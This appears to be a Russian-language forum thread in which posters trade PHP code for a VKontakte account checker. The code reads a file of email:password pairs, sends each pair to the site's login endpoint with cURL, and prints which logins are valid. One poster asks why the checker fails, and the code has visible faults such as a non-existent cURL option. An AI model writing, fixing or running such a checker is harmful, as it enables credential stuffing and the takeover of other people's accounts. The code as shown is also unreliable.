вообщем вот мое решение, еси в файле акки лежат к примеру вот так: через пробел тоесть, то можно распарсить вот так: PHP: <?php $name = file_get_contents("c:/vk.txt"); $array = preg_split("/[ \\n]/", $name); echo "<PRE>"; foreach ( $array as $value ) { $acc = explode(":", $value); echo $acc[0] ." - ". $acc[1] ."\n"; } echo "</PRE>"; ?> регулярку ессно можно подкрутить под свое
Итак, вот какой кусок кода по проверке валида аккаунта. Но не работает.. В чем косяк? PHP: foreach(file($txt_file) as $account) { $data=explode(':',$account); $link = "http://vkontakte.ru/login.php?op=a_login_attempt&email=".$data[0]."&pass=".$data[1]."&expire=0"; $res = go($link, $cookie); $searchtext = 'good'; if(strpos($res, $searchtext) == false) print "".$data[0]." and ".$data[1]." not valid"; else{ print "".$data[0]." and ".$data[1]." are valid"; } }
FireFenix, вот функция go, если еще что-то понадобится буду редактировать этот пост PHP: function go($link, $data){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$link); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_GET, 1); curl_setopt($ch, CURLOPT_HEADER, 1); $otvet = curl_exec($ch); curl_close($ch); return $otvet; } И да, файлы в текстовике лежат так(каждый на новой строке): mail1:moipass1 mail2:moipass2 mail3:moipass3 mail4:moipass4